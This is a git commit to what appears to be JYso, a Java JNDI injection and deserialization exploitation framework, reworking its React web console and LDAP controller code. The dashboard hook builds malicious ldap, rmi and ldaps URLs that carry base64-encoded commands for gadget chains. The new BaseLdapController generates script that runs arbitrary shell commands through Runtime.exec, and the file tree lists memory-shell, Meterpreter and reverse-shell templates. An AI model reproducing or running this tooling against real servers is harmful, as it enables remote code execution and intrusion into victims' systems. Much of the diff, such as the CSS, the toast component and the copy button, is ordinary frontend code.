fix: 前端大改5

This commit is contained in:
qi4l
2026-05-05 00:06:50 +08:00
parent c7c4f6aee6
commit 3ebd481b05
54 changed files with 2075 additions and 2191 deletions
-3
View File
@@ -40,9 +40,6 @@
如果你有其他很棒的想法请务必告诉我!😎
## 🐯 编译
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
```shell
./gradlew shadowJar
+129 -72
View File
@@ -1,72 +1,129 @@
├─.gradle Gradle构建配置文件
│ ├─8.7
├─checksums
├─dependencies-accessors
└─525c6f5870ba43302c5969f432765d671d340d71
│ │ ├─classes
│ └─org
│ └─gradle
│ │ │ └─accessors
│ │ │ └─dm
│ │ └─sources
│ │ │ └─org
│ │ └─gradle
│ │ └─accessors
│ │ └─dm
│ ├─executionHistory
│ │ ├─expanded
│ ├─fileChanges
│ │ ├─fileHashes
└─vcsMetadata
│ ├─buildOutputCleanup
│ └─vcs-1
├─.idea IDEA配置信息文件
├─artifacts
├─codeStyles
├─inspectionProfiles
└─libraries
├─docs 有关文档
├─gradle
└─wrapper
├─libs 第三方jar
└─src
├─main
└─java
└─com
└─qi4l
└─jndi
├─controllers JNDI路由逻辑
│ └─utils
├─enumtypes
├─exceptions
├─exploit -cp 模式下的漏洞逻辑
├─gadgets 反序列化链
│ ├─annotation
│ ├─Config
│ └─utils
├─beanshell
│ ├─cc
│ ├─clojure
├─dirty
├─handle
├─jdbc
│ ├─jre
└─utf8OverlongEncoding
└─template
├─Agent Agent注入逻辑
│ └─utli
├─echo 回显类
└─memshell 内存shell逻辑
├─BypassNginxCDN
├─jboss
├─jetty
├─resin
├─shell
├─spring
├─struts2
├─tomcat
├─Tomcat_Spring_Jetty
├─weblogic
└─Websphere
└─test
└─java
.
├── .gradle Gradle 构建缓存
│ ├── 7.6.6 Gradle 版本缓存
├── checksums
│ │ ├── dependencies-accessors
│ ├── executionHistory
│ │ ├── fileChanges
│ │ ├── fileHashes
│ └── gc.properties
├── buildOutputCleanup
└── vcs-1
├── .idea IDEA 配置
├── artifacts
├── codeStyles
├── inspectionProfiles
└── libraries
├── docs 项目文档
└── directory_structure.md
├── gradle
│ └── wrapper Gradle Wrapper (7.6.6)
├── libs 第三方 JAR
├── src
│ ├── main
│ ├── frontend 前端 React 项目
│ │ ├── public
│ │ └── src
│ ├── java
│ │ │ └── com/qi4l/JYso
│ │ │ ├── HTTPServer.java
│ │ ├── LdapServer.java
│ │ │ ├── LdapsServer.java
│ │ │ ├── RMIServer.java
│ │ │ ├── Starter.java
│ │ ├── controllers JNDI/LDAP 控制器
│ │ ├── BaseLdapController.java 公共基类
│ │ │ ├── BasicController.java
│ │ │ ├── ELProcessorController.java
├── GroovyController.java
│ │ │ ├── LdapController.java 控制器接口
├── LdapMapping.java
│ │ │ ├── MemoryXXEController.java
├── SerializedDataController.java
│ │ ├── SnakeYamlController.java
├── XStreamController.java
├── jdbcController1.java
│ │ │ ├── jdbcController2.java
├── ldap2rmiController.java
│ │ │ ├── rmi RMI 工具类
├── Basic.java
└── ELProcessor.java
└── utils
└── JNDIUtils.java
├── enumtypes
├── GadgetType.java
├── PayloadType.java
└── WebsphereActionType.java
├── exceptions
├── IncorrectParamsException.java
│ │ │ ├── UnSupportedActionTypeException.java
│ │ │ ├── UnSupportedGadgetTypeException.java
│ │ │ └── UnSupportedPayloadTypeException.java
│ │ ├── exploit -cp 模式漏洞利用
│ │ │ ├── JBoss.java
│ │ │ ├── JMXInvokeMBean.java
│ │ │ ├── JRMPClassLoadingListener.java
│ │ ├── JRMPClient.java
│ │ │ ├── JRMPListener.java
│ │ ├── JSF.java
│ │ │ ├── JenkinsCLI.java
├── JenkinsListener.java
│ │ │ │ ├── JenkinsReverse.java
│ │ │ │ └── RMIBindExploit.java
│ │ │ ├── gadgets 反序列化 Gadget
│ │ │ │ ├── ObjectPayload.java
│ │ │ │ ├── ReleaseableObjectPayload.java
│ │ │ │ ├── SignedObject.java
│ │ │ │ ├── annotation 注解
│ │ │ │ │ ├── Authors.java
│ │ │ │ │ └── Dependencies.java
│ │ │ │ ├── Config 全局配置
│ │ │ │ │ ├── Config.java
│ │ │ │ │ ├── MemShellPayloads.java
│ │ │ │ │ └── ysoserial.java
│ │ │ │ ├── utils 工具类
│ │ │ │ │ ├── Gadgets.java
│ │ │ │ │ ├── Reflections.java
│ │ │ │ │ ├── Serializer.java
│ │ │ │ │ ├── Utils.java
│ │ │ │ │ ├── ... (ByteUtil, ClassFiles, HexUtils, InjShell 等)
│ │ │ │ │ ├── beanshell/
│ │ │ │ │ ├── cc/
│ │ │ │ │ ├── clojure/
│ │ │ │ │ ├── dirty/
│ │ │ │ │ ├── handle/
│ │ │ │ │ ├── jre/
│ │ │ │ │ └── utf8OverlongEncoding/
│ │ │ │ └── *.java 各 Gadget 链实现
│ │ │ ├── template 模板类
│ │ │ │ ├── ClassLoaderTemplate.java
│ │ │ │ ├── DefineClassFromParameter.java
│ │ │ │ ├── HideMemShellTemplate.java
│ │ │ │ ├── Meterpreter.java
│ │ │ │ ├── ReverseShellTemplate.java
│ │ │ │ └── Template.java
│ │ │ └── web Web 控制台
│ │ │ ├── JYsoWebApplication.java
│ │ │ ├── ApiAuthFilter.java
│ │ │ ├── AuthServlet.java
│ │ │ ├── JettyApiServlet.java
│ │ │ ├── RequestLogCollector.java
│ │ │ ├── SpaFallbackFilter.java
│ │ │ ├── StaticResourceServlet.java
│ │ │ └── config/
│ │ │ ├── JYsoWebPasswordProvider.java
│ │ │ └── WebPasswordGenerator.java
│ │ └── resources 资源文件
│ │ ├── application.properties
│ │ ├── log4j2.xml
│ │ └── static/ 前端打包产出
│ └── test 测试代码
│ └── java
│ ├── Main.java
│ └── com/example/demo/demos/web
│ ├── Test.java
│ └── secCig.java
├── build.gradle Gradle 构建脚本
├── settings.gradle Gradle 项目设置
├── README.md
└── README.en.md
+1 -1
View File
@@ -1,6 +1,6 @@
#Thu Apr 23 23:23:32 CST 2026
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.4-bin.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-7.6.6-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
@@ -0,0 +1,38 @@
import { useState, useCallback } from 'react'
const CheckIcon = () => (
<svg width="16" height="16" viewBox="0 0 16 16" fill="none">
<path d="M3 8l3 3 7-7" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round"/>
</svg>
)
const CopyIcon = () => (
<svg width="16" height="16" viewBox="0 0 16 16" fill="none">
<rect x="5" y="5" width="9" height="9" rx="1.5" stroke="currentColor" strokeWidth="1.5"/>
<path d="M3 11V3h8" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round"/>
</svg>
)
export default function CopyButton({ text, className = '', title = 'Copy to clipboard' }) {
const [copied, setCopied] = useState(false)
const handleCopy = useCallback(async () => {
if (!text) return
try {
await navigator.clipboard.writeText(text)
setCopied(true)
setTimeout(() => setCopied(false), 2000)
} catch { /* ignore */ }
}, [text])
return (
<button
className={`copy-btn ${className}`}
onClick={handleCopy}
title={title}
aria-label={copied ? 'Copied' : title}
>
{copied ? <CheckIcon /> : <CopyIcon />}
</button>
)
}
@@ -0,0 +1,36 @@
import { useState, useCallback, createContext, useContext } from 'react'
const ToastContext = createContext(null)
let toastId = 0
export function ToastProvider({ children }) {
const [toasts, setToasts] = useState([])
const showToast = useCallback((message, type = 'success') => {
const id = ++toastId
setToasts(prev => [...prev, { id, message, type }])
setTimeout(() => {
setToasts(prev => prev.filter(t => t.id !== id))
}, 3200)
}, [])
return (
<ToastContext.Provider value={{ showToast }}>
{children}
<div className="toast-container">
{toasts.map(t => (
<div key={t.id} className={`toast toast-${t.type}`}>
{t.message}
</div>
))}
</div>
</ToastContext.Provider>
)
}
export function useToast() {
const ctx = useContext(ToastContext)
if (!ctx) throw new Error('useToast must be inside ToastProvider')
return ctx
}
+331
View File
@@ -0,0 +1,331 @@
import { useState, useEffect, useMemo, useCallback, useRef } from 'react'
import { useNavigate } from 'react-router-dom'
import {
getStatus, toggleServer, getGadgets,
generatePayload as apiGenerate, updateConfig, setAuthToken, getLogs,
getFiles, downloadFile, deleteFile as apiDeleteFile,
uploadFile
} from '../api'
const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
const DEFAULT_CONFIG = {
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
AESkey: '123', user: '', PASSWD: '', TLSProxy: false, keyPass: '', certFile: ''
}
export default function useDashboard() {
const navigate = useNavigate()
const [mode, setMode] = useState('jndi')
const [animKey, setAnimKey] = useState(0)
const [status, setStatus] = useState({})
const [loading, setLoading] = useState(false)
const [toggling, setToggling] = useState(null)
const [activeJndiTab, setActiveJndiTab] = useState('config')
const [gadgets, setGadgets] = useState([])
const [gadgetSearch, setGadgetSearch] = useState('')
const [selectedGadget, setSelectedGadget] = useState('')
const [payloadCmd, setPayloadCmd] = useState('')
const [payloadResult, setPayloadResult] = useState('')
const [encodeBase64, setEncodeBase64] = useState(true)
const [showAdvanced, setShowAdvanced] = useState(false)
const [inherit, setInherit] = useState(false)
const [obscure, setObscure] = useState(false)
const [dcfp, setDcfp] = useState('')
const [dirtyType, setDirtyType] = useState('')
const [dirtyLength, setDirtyLength] = useState('')
const [noComSun, setNoComSun] = useState(false)
const [mozillaClassLoader, setMozillaClassLoader] = useState(false)
const [rhino, setRhino] = useState(false)
const [utf8Overlong, setUtf8Overlong] = useState(false)
const [payloadSubTab, setPayloadSubTab] = useState('gadget')
const [gadgetOpen, setGadgetOpen] = useState(false)
const [jndiPayloadResult, setJndiPayloadResult] = useState('')
const [rmiPayloadResult, setRmiPayloadResult] = useState('')
const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
const [jndiGadgetInput, setJndiGadgetInput] = useState('')
const [gadgetModeInput, setGadgetModeInput] = useState('')
const [saveFilename, setSaveFilename] = useState('')
const [filePath, setFilePath] = useState('')
const [classLoaderResult, setClassLoaderResult] = useState('')
const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
const [routing, setRouting] = useState('ELProcessor')
const [routingOpen, setRoutingOpen] = useState(false)
const [logLines, setLogLines] = useState([])
const [logLoading, setLogLoading] = useState(false)
const logEndRef = useRef(null)
const [files, setFiles] = useState([])
const [filesLoading, setFilesLoading] = useState(false)
const [dragOver, setDragOver] = useState(false)
const [uploading, setUploading] = useState(false)
const fileInputRef = useRef(null)
const [configForm, setConfigForm] = useState({ ...DEFAULT_CONFIG })
const filteredGadgets = useMemo(() => {
if (!gadgetSearch) return gadgets
return gadgets.filter(g => g.name.toLowerCase().includes(gadgetSearch.toLowerCase()))
}, [gadgetSearch, gadgets])
const switchMode = useCallback((next) => {
if (next === mode) return
setMode(next)
setAnimKey(k => k + 1)
}, [mode])
async function loadStatus() {
try {
const res = await getStatus()
setStatus(res.data)
setConfigForm(prev => ({
...prev,
ip: res.data.ip || '',
ldapPort: res.data.ldapPort || 1389,
ldapsPort: res.data.ldapsPort || 1669,
httpPort: res.data.httpPort || 3456,
rmiPort: res.data.rmiPort || 1099,
AESkey: res.data.AESkey || '123',
user: res.data.user || '',
PASSWD: res.data.PASSWD || '',
TLSProxy: res.data.TLSProxy || false,
keyPass: res.data.keyPass || '',
certFile: res.data.certFile || ''
}))
} catch (e) {
if (e.response && e.response.status === 401) {
setAuthToken(null)
navigate('/login', { replace: true })
}
}
}
async function loadGadgets() {
try {
const res = await getGadgets()
setGadgets(res.data)
} catch (e) { /* ignore */ }
}
async function handleToggleServer(server) {
setToggling(server)
try {
const res = await toggleServer(server)
if (res.data.success) {
setStatus(res.data.status)
}
} catch (e) { /* ignore */ }
finally { setToggling(null) }
}
async function handleSaveConfig() {
setLoading(true)
try {
await updateConfig(configForm)
loadStatus()
} catch (e) { /* ignore */ }
finally { setLoading(false) }
}
async function handleGeneratePayload() {
const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
if (!gadgetName) return
setLoading(true)
try {
const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename, encodeBase64,
inherit, obscure, dcfp, dirtyType, dirtyLength, noComSun, mozillaClassLoader, rhino, utf8Overlong })
if (res.data.success) {
setPayloadResult(res.data.message || 'Payload generated successfully')
if (res.data.saved) fetchFiles()
} else {
setPayloadResult('Error: ' + (res.data.error || 'unknown'))
}
} catch (e) {
setPayloadResult(e.response?.data?.error || 'Failed to generate payload')
} finally { setLoading(false) }
}
function handleGenerateJndiPayload() {
const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
if (!gadgetName || !payloadCmd) return
setLoading(true)
setJndiPayloadResult('')
setRmiPayloadResult('')
setLdapsPayloadResult('')
try {
const bytes = new TextEncoder().encode(payloadCmd)
const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
const ipAddr = configForm.ip || '0.0.0.0'
const ldapPort = configForm.ldapPort || 1389
const rmiPort = configForm.rmiPort || 1099
const ldapsPort = configForm.ldapsPort || 1669
setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
} catch (e) { /* ignore */ }
finally { setLoading(false) }
}
function handleGenerateClassLoader() {
const fp = filePath.trim()
const route = routing.trim()
if (!fp || !route) return
setLoading(true)
setClassLoaderResult('')
setRmiClassLoaderResult('')
setLdapsClassLoaderResult('')
if (!fp.toLowerCase().endsWith('.class')) {
setLoading(false)
return
}
try {
const ipAddr = configForm.ip || '0.0.0.0'
const ldapPort = configForm.ldapPort || 1389
const rmiPort = configForm.rmiPort || 1099
const ldapsPort = configForm.ldapsPort || 1669
setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
} catch (e) { /* ignore */ }
finally { setLoading(false) }
}
function logout() {
setAuthToken(null)
navigate('/login', { replace: true })
}
async function fetchLogs() {
setLogLoading(true)
try {
const res = await getLogs(100)
setLogLines(res.data.logs || [])
} catch { /* ignore */ }
finally { setLogLoading(false) }
}
useEffect(() => { loadStatus(); loadGadgets() }, [])
useEffect(() => {
if (mode !== 'gadget') return
fetchFiles()
}, [mode])
async function fetchFiles() {
setFilesLoading(true)
try {
const res = await getFiles()
setFiles(res.data)
} catch { /* ignore */ }
finally { setFilesLoading(false) }
}
async function handleDownloadFile(name) {
try {
const res = await downloadFile(name)
const url = window.URL.createObjectURL(new Blob([res.data]))
const a = document.createElement('a')
a.href = url
a.download = name
a.click()
window.URL.revokeObjectURL(url)
} catch { /* ignore */ }
}
async function handleDeleteFile(name) {
if (!confirm(`Delete ${name}?`)) return
try {
await apiDeleteFile(name)
fetchFiles()
} catch { /* ignore */ }
}
function handleDragOver(e) {
e.preventDefault()
e.stopPropagation()
setDragOver(true)
}
function handleDragLeave(e) {
e.preventDefault()
e.stopPropagation()
setDragOver(false)
}
function handleDrop(e) {
e.preventDefault()
e.stopPropagation()
setDragOver(false)
const droppedFiles = e.dataTransfer.files
if (droppedFiles.length > 0) {
doUpload(droppedFiles[0])
}
}
function handleFileSelect(e) {
const selectedFiles = e.target.files
if (selectedFiles.length > 0) {
doUpload(selectedFiles[0])
}
e.target.value = ''
}
async function doUpload(file) {
setUploading(true)
try {
const formData = new FormData()
formData.append('file', file)
const res = await uploadFile(formData)
if (res.data.success) {
fetchFiles()
}
} catch (e) { /* ignore */ }
finally {
setUploading(false)
}
}
useEffect(() => {
if (activeJndiTab !== 'logs') return
fetchLogs()
const id = setInterval(fetchLogs, 2000)
return () => clearInterval(id)
}, [activeJndiTab])
useEffect(() => {
if (logEndRef.current) logEndRef.current.scrollIntoView({ behavior: 'smooth' })
}, [logLines])
return {
mode, animKey, switchMode,
status, toggling, handleToggleServer,
activeJndiTab, setActiveJndiTab,
gadgets, gadgetSearch, setGadgetSearch, selectedGadget, setSelectedGadget, filteredGadgets,
payloadCmd, setPayloadCmd, payloadResult, setPayloadResult,
encodeBase64, setEncodeBase64,
showAdvanced, setShowAdvanced,
inherit, setInherit, obscure, setObscure,
dcfp, setDcfp, dirtyType, setDirtyType, dirtyLength, setDirtyLength,
noComSun, setNoComSun, mozillaClassLoader, setMozillaClassLoader,
rhino, setRhino, utf8Overlong, setUtf8Overlong,
payloadSubTab, setPayloadSubTab,
gadgetOpen, setGadgetOpen,
jndiPayloadResult, rmiPayloadResult, ldapsPayloadResult,
jndiGadgetInput, setJndiGadgetInput,
gadgetModeInput, setGadgetModeInput,
saveFilename, setSaveFilename,
filePath, setFilePath,
classLoaderResult, rmiClassLoaderResult, ldapsClassLoaderResult,
routing, setRouting, routingOpen, setRoutingOpen, ROUTING_OPTIONS,
logLines, logLoading, fetchLogs, logEndRef,
files, filesLoading, fetchFiles,
dragOver, setDragOver, uploading, fileInputRef,
configForm, setConfigForm,
loading, setLoading,
handleSaveConfig, handleGeneratePayload, handleGenerateJndiPayload, handleGenerateClassLoader,
logout,
handleDownloadFile, handleDeleteFile,
handleDragOver, handleDragLeave, handleDrop, handleFileSelect
}
}
+160 -16
View File
@@ -790,27 +790,38 @@ select {
}
.log-container {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 12px;
padding: 12px;
background: var(--bg-input);
border: 1px solid var(--border-color);
border-radius: 14px;
padding: 14px;
max-height: 380px;
overflow-y: auto;
font-family: var(--font-mono);
font-size: 11px;
font-size: 12px;
line-height: 1.65;
transition: background var(--transition-fluid), border-color var(--transition-fluid);
}
.log-line {
color: #c9d1d9;
color: var(--text-secondary);
white-space: pre-wrap;
word-break: break-all;
padding: 1px 0;
padding: 2px 0;
}
.log-line:nth-child(odd) {
background: rgba(0, 0, 0, 0.02);
border-radius: 4px;
padding: 2px 6px;
margin: 0 -6px;
}
[data-theme="dark"] .log-line:nth-child(odd) {
background: rgba(255, 255, 255, 0.03);
}
.log-empty {
color: #8b949e;
color: var(--text-muted);
text-align: center;
padding: 32px 0;
font-family: 'Inter', sans-serif;
@@ -907,31 +918,164 @@ select {
}
.file-upload-zone {
border: 2px dashed var(--border);
border-radius: 8px;
border: 2px dashed var(--border-color);
border-radius: 14px;
padding: 18px;
text-align: center;
cursor: pointer;
transition: all .2s;
transition: all var(--transition-fast);
margin-bottom: 10px;
color: var(--text-muted);
font-size: 13px;
font-family: 'Inter', sans-serif;
}
.file-upload-zone:hover {
border-color: var(--primary);
color: var(--primary);
border-color: var(--accent);
color: var(--accent);
background: var(--accent-glow);
}
.file-upload-zone.drag-over {
border-color: var(--primary);
background: rgba(99, 102, 241, 0.08);
color: var(--primary);
border-color: var(--accent);
background: var(--accent-glow);
color: var(--accent);
}
.file-upload-zone.uploading {
opacity: 0.6;
pointer-events: none;
}
::-webkit-scrollbar {
width: 6px;
height: 6px;
}
::-webkit-scrollbar-track {
background: transparent;
}
::-webkit-scrollbar-thumb {
background: var(--text-muted);
border-radius: 3px;
opacity: 0.4;
}
::-webkit-scrollbar-thumb:hover {
background: var(--text-secondary);
}
::-webkit-scrollbar-corner {
background: transparent;
}
.toast-container {
position: fixed;
top: 20px;
left: 50%;
transform: translateX(-50%);
z-index: 1000;
display: flex;
flex-direction: column;
gap: 8px;
pointer-events: none;
}
.toast {
pointer-events: auto;
padding: 12px 20px;
border-radius: 14px;
font-size: 14px;
font-weight: 500;
backdrop-filter: blur(24px) saturate(180%);
-webkit-backdrop-filter: blur(24px) saturate(180%);
box-shadow: var(--card-shadow-lg);
animation: toastSlideIn 320ms cubic-bezier(0.22, 0.1, 0, 1) both, toastFadeOut 320ms cubic-bezier(0.22, 0.1, 0, 1) 2800ms forwards;
max-width: 420px;
word-break: break-word;
}
.toast-success {
background: var(--success-bg);
color: var(--success);
border: 1px solid var(--success);
}
.toast-error {
background: var(--danger-bg);
color: var(--danger);
border: 1px solid var(--danger);
}
@keyframes toastSlideIn {
from { opacity: 0; transform: translateY(-12px) scale(0.96); }
to { opacity: 1; transform: translateY(0) scale(1); }
}
@keyframes toastFadeOut {
from { opacity: 1; transform: translateY(0) scale(1); }
to { opacity: 0; transform: translateY(-8px) scale(0.96); }
}
.mode-switch-enter {
animation: modeSwitchIn 380ms cubic-bezier(0.22, 0.1, 0, 1) both;
}
.mode-switch-exit {
animation: modeSwitchOut 280ms cubic-bezier(0.22, 0.1, 0, 1) both;
}
@keyframes modeSwitchIn {
from { opacity: 0; transform: translateY(16px) scale(0.98); }
to { opacity: 1; transform: translateY(0) scale(1); }
}
@keyframes modeSwitchOut {
from { opacity: 1; transform: translateY(0) scale(1); }
to { opacity: 0; transform: translateY(-8px) scale(0.98); }
}
.input-icon-wrap {
position: relative;
}
.input-icon-wrap .input-icon {
position: absolute;
left: 12px;
top: 50%;
transform: translateY(-50%);
color: var(--text-muted);
pointer-events: none;
transition: color var(--transition-fast);
}
.input-icon-wrap input,
.input-icon-wrap textarea {
padding-left: 38px !important;
}
.input-icon-wrap input:focus + .input-icon,
.input-icon-wrap textarea:focus + .input-icon {
color: var(--accent);
}
.wiki-btn svg {
margin-left: 4px;
opacity: 0.6;
}
@media (max-width: 768px) {
.page-shell { padding: 48px 16px 32px; }
.grid-2 { grid-template-columns: 1fr; }
.config-form { grid-template-columns: 1fr; }
.config-form .btn { grid-column: span 1; }
.login-inner { padding: 36px 28px 32px; }
.gadget-layout { flex-direction: column !important; }
.gadget-layout > .glass-card { width: 100% !important; }
.header { flex-wrap: wrap; gap: 12px; }
.header .mode-segment-control { order: 3; width: 100%; }
.header-right { order: 2; }
.toast { max-width: calc(100vw - 32px); }
}
@media (prefers-reduced-motion: reduce) {
*, *::before, *::after {
transition-duration: 0ms !important;
+3
View File
@@ -2,15 +2,18 @@ import React from 'react'
import ReactDOM from 'react-dom/client'
import { HashRouter } from 'react-router-dom'
import { ThemeProvider } from './context/ThemeContext'
import { ToastProvider } from './components/Toast'
import App from './App'
import './index.css'
ReactDOM.createRoot(document.getElementById('root')).render(
<React.StrictMode>
<ThemeProvider>
<ToastProvider>
<HashRouter>
<App />
</HashRouter>
</ToastProvider>
</ThemeProvider>
</React.StrictMode>
)
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor;
import com.qi4l.JYso.gadgets.utils.JRMPUtils;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
@@ -117,7 +117,7 @@ public class RMIServer implements Runnable {
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
DataOutputStream out = JRMPUtils.handshake(in, s);
DataOutputStream out = Utils.handshake(in, s);
if (out == null) {
continue;
}
@@ -0,0 +1,125 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Utils;
import org.fusesource.jansi.Ansi;
import java.util.Locale;
public abstract class BaseLdapController implements LdapController {
public static String getString(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
static String getStringQ(String base, int index) {
return getString(base, index);
}
public static String segment(String base, int index) {
return getStringQ(base, index);
}
public static String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
public static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) return null;
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
public static String[] resolveParams(String base, GadgetType gadgetType) throws Exception {
if (gadgetType == null) return new String[0];
switch (gadgetType) {
case base64:
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Utils.getCmdFromBase(base);
String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
}
}
public static class ParseResult {
public final String payloadType;
public final GadgetType gadgetType;
public final String[] params;
ParseResult(String payloadType, GadgetType gadgetType, String[] params) {
this.payloadType = payloadType;
this.gadgetType = gadgetType;
this.params = params;
}
}
public static ParseResult parseBase(String base, String header) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println(header);
try {
String normalized = base.replace('\\', '/');
String payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
GadgetType gadgetType = parseGadgetType(normalized);
String[] params = resolveParams(normalized, gadgetType);
return new ParseResult(payloadType, gadgetType, params);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
public static String getExecCode(String cmd) {
return "var str_s=new Array(3);\n"
+ "if(java.io.File.separator.equals('/')){\n"
+ "str_s[0]='/bin/bash';\n"
+ "str_s[1]='-c';\n"
+ "str_s[2]='" + cmd + "';\n"
+ "}else{\n"
+ "str_s[0]='cmd';\n"
+ "str_s[1]='/C';\n"
+ "str_s[2]='" + cmd + "';\n"
+ "}\n"
+ "java.lang.Runtime.getRuntime().exec(str_s);";
}
}
@@ -1,12 +1,9 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
@@ -17,42 +14,18 @@ import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
@SuppressWarnings("unused")
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
public class BasicController extends BaseLdapController {
private static final Logger log = LogManager.getLogger(BasicController.class);
private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
// 存放从 LDAP 路径中解析出的命令或连接参数。
private String[] params = new String[0];
private GadgetType gadgetType;
static String getStringQ(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
@@ -67,34 +40,19 @@ public class BasicController implements LdapController {
entry.addAttribute("javaFactory", className);
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
} catch (Exception er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
log.error("Error while generating or serializing payload", er);
}
}
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Reference Links ");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
ParseResult result = parseBase(base, "- JNDI Remote Reference Links ");
payloadType = result.payloadType;
params = result.params;
}
// 根据 payload 标识返回需要加载的实现类名称。
private String resolvePayloadClass() throws Exception {
if (payloadType.contains("E-")) {
